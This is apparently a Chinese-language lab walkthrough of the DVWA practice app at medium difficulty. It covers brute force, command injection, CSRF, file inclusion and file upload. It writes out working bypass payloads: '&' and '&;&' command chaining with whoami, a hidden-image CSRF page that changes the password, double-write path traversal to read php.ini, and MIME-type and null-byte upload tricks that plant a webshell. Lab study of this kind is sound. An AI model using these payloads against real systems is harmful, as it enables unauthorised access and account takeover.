dvwa medium級別前五漏洞測試
brute force(暴力破解)
發現medium級別直接SQL注入,不行了,
看原始碼,相比於low級別,medium級別多了這樣幾行程式碼:
$user = ((isset($GLOBALS["___mysqli_ston"]) &&is_object($GLOBALS["___mysqli_ston"])) ?
mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) :
((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!
This code does not work." , E_USER_ERROR)) ? "" : ""));
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ?
mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) :
((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!
This code does not work.", E_USER_ERROR)) ? "" : ""));
函式解讀
$GLOBALS[“___mysqli_ston”]這只是一個自定義全域性變數可以不用在意
isset
(PHP 4, PHP 5, PHP 7)
isset — 檢測變數是否已設定並且非 NULL
說明
bool isset ( mixedvar[,mixed … ] )
檢測變數是否設定,並且不是 NULL。is_object
(PHP 4, PHP 5, PHP 7)
is_object — 檢測變數是否是一個物件
描述
bool is_object ( mixed $var )mysql_real_escape_string
(PHP 4 >= 4.3.0, PHP 5)
mysql_real_escape_string — 轉義 SQL 語句中使用的字串中的特殊字元,並考慮到連線的當前字符集
Warning本擴充套件自 PHP 5.5.0 起已廢棄,並在自 PHP 7.0.0 開始被移除。應使用 MySQLi 或 PDO_MySQL 擴充套件來替換之。參見 MySQL:選擇 API 指南以及相關 FAQ 來獲取更多資訊。用以替代本函式的有:
mysqli_real_escape_string()
PDO::quote()說明
string mysql_real_escape_string ( stringunescapedstring[,resource link_identifier = NULL ] )本函式將 unescaped_string 中的特殊字元轉義,並計及連線的當前字符集,因此可以安全用於 mysql_query()。
mysql_real_escape_string() 呼叫mysql庫的函式 mysql_real_escape_string, 在以下字元前新增反斜槓: \x00, \n, \r, , ‘, ” 和 \x1a.
為了安全起見,在像MySQL傳送查詢前,必須呼叫這個函式(除了少數例外情況)。
與low級別相比,多了檢測函式,將一些特殊字元(x00, n, r,’ ,” ,x1a)做了轉義,將其轉義為\x00, \n, \r, , ‘, ” 和 \x1a,這樣做能抵禦一些SQL注入漏洞。
但是並沒有防爆破機制。因此依然可以爆破求出密碼,操作方法與low一致,懶得說了。
Command Injection(命令注入)
按照low級別的方法,輸入192.168.118.1 && whoami企圖注入試試。發現報錯
檢視原始碼:
發現相比於low級別的程式碼,增加了這樣的幾行:
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
Array 陣列
PHP 中的陣列實際上是一個有序對映。對映是一種把 values 關聯到 keys 的型別。
定義陣列 array()
可以用 array() 語言結構來新建一個數組。它接受任意數量用逗號分隔的 鍵(key) => 值(value)對。array( key => value , ... ) // 鍵(key)可是是一個整數 integer 或字串 string // 值(value)可以是任意型別的值
最後一個數組單元之後的逗號可以省略。通常用於單行陣列定義中,例如常用 array(1, 2) 而不是 array(1, 2, )。對多行陣列定義通常保留最後一個逗號,這樣要新增一個新單元時更方便。
自 5.4 起可以使用短陣列定義語法,用 [] 替代 array()。
str_replace
str_replace — 子字串替換
說明
mixed str_replace ( mixedsearch,mixed replace , mixed subject [, int &count ] )
該函式返回一個字串或者陣列。該字串或陣列是將 subject 中全部的 search 都被 replace 替換之後的結果。
array_keys
array_keys() 返回 input 陣列中的數字或者字串的鍵名。
如果指定了可選引數 search_value,則只返回該值的鍵名。否則 input 陣列中的所有鍵名都會被返回。
可以看出來,其實,medium比low增加了過濾而且還是不完整的過濾,將&&和;替換為”(空字元)。那麼我們可以想辦法繞過這樣的過濾。
如構造這樣的語句:
192.168.118.1 & whoami(或net user等命令)
192.168.118.1 &;& whoami(或net user等命令)
CSRF
檢視原始碼:
相比於low,增加了判斷條件
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )
stripos — 查詢字串首次出現的位置(不區分大小寫)
$_SERVER[ ‘HTTP_REFERER’ ]可以獲取當前連結的上一個連線的來源地址,即連結到當前頁面的前一頁面的 URL 地址,可以做到防盜鏈作用,只有點選超連結即
<A href=...>
開啟的頁面才有HTTP_REFERER環境變數。
$_SERVER[ ‘SERVER_NAME’ ]取得主機名
Medium級別的程式碼檢查了保留變數 HTTP_REFERER中是否包含SERVER_NAME(http包頭的Host引數,及要訪問的主機名,這裡是192.168.118.129),希望通過這種機制抵禦CSRF攻擊。
在別的網頁直接訪問修改密碼的連結,但是得到的http包是這樣的:
發現,沒有’HTTP_REFERER’引數,這也證明了之前的內容,“只有點選超連結
開啟的頁面才有HTTP_REFERER環境變數。”,此外也證明了,僅僅在別的網頁中構造url來利用CSRF漏洞是不行的。
利用方法:
過濾規則是http包頭的Referer引數的值中必須包含主機名(這裡是192.168.118.129)
我們可以將攻擊頁面命名為192.168.118.129.html(頁面被放置在攻擊者的伺服器裡)就可以繞過了
原始碼如下:
<html>
<img src="http://192.168.118.129/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#" border="0" style="display:none;"/>
<h1>404</h1>
<h1>Not Found</h1>
</html>
訪問192.168.118.129.html,burpsuite攔截到了兩個頁面請求,一個是192.168.118.129.html,另一個是html中包含的跳轉連結http://192.168.118.129/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
也就是改密連結,最終導致密碼的修改。
總結
我們構造了合理的頁面,當用戶點選的時候,會跳轉到192.168.118.129.html,由於其會話cookie還在,執行HTML中的src=”“,在跳轉修改密碼的頁面,而且由於html的命名,將判斷條件繞過了,就能修改密碼。
File Inclusion(檔案包含)
檔案包含的程式碼很短,很容易看出來將一些字元過濾,如
“http://”, “https://”替代為”“(空) 去除遠端包含
“../”, “..\”” 替代為”“(空) 去除本地包含
但是也是一樣的問題:這樣的過濾是可以繞過的,很簡單的繞過方式就是雙寫繞過,比如構造
hthttp://tp://
或者
..././
函式將中間的http://刪除,然後留下了http://,
將中間的../刪除,然後又留下了../
雙寫繞過就是這麼簡單!!
那麼,這個medium利用起來就很簡單了。
本地包含
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=..././..././php.ini
或
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=..././..././..././..././..././..././..././..././..././..././phpstudy/WWW/DVWA/php.ini
讀取配置檔案成功。
而且,由於是過濾../, ..\ 只能去除了相對路徑的檔案包含,絕對路徑依然可以利用!
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=C:\phpstudy\WWW\DVWA\php.ini
遠端包含
File Upload(檔案上傳)
檢視程式碼:
比較容易看出,程式碼將上傳檔案的型別限定為image/jpeg和image/png,上傳檔案的大小限定10000B以下。首先我們傳一句話木馬不用考慮大小的問題。
然後就是考慮,檔案型別的問題。
我想到用php.png繞過,但是發現雖然上傳成功,但是拿不到shell。
於是開始查資料,原來
(1)0x00截斷:基於一個組合邏輯漏洞造成的,通常存在於構造上傳檔案路徑的時候
test.php(0x00).jpg
test.php%00.jpg
路徑/upload/1.php(0x00),檔名1.jpg,結合/upload/1.php(0x00)/1.jpg
這種辦法只在php版本小於5.3.4的伺服器中,當Magic_quote_gpc選項為off時,可以在檔名中使用%00截斷。
發現可以通過上傳時擷取資料,利用burpsuite將一些請求行做修改:
將檔案格式這個值改為image/png
發現上傳成功了。
這樣直接連菜刀就OK了。
更多繞過姿勢,會再總結。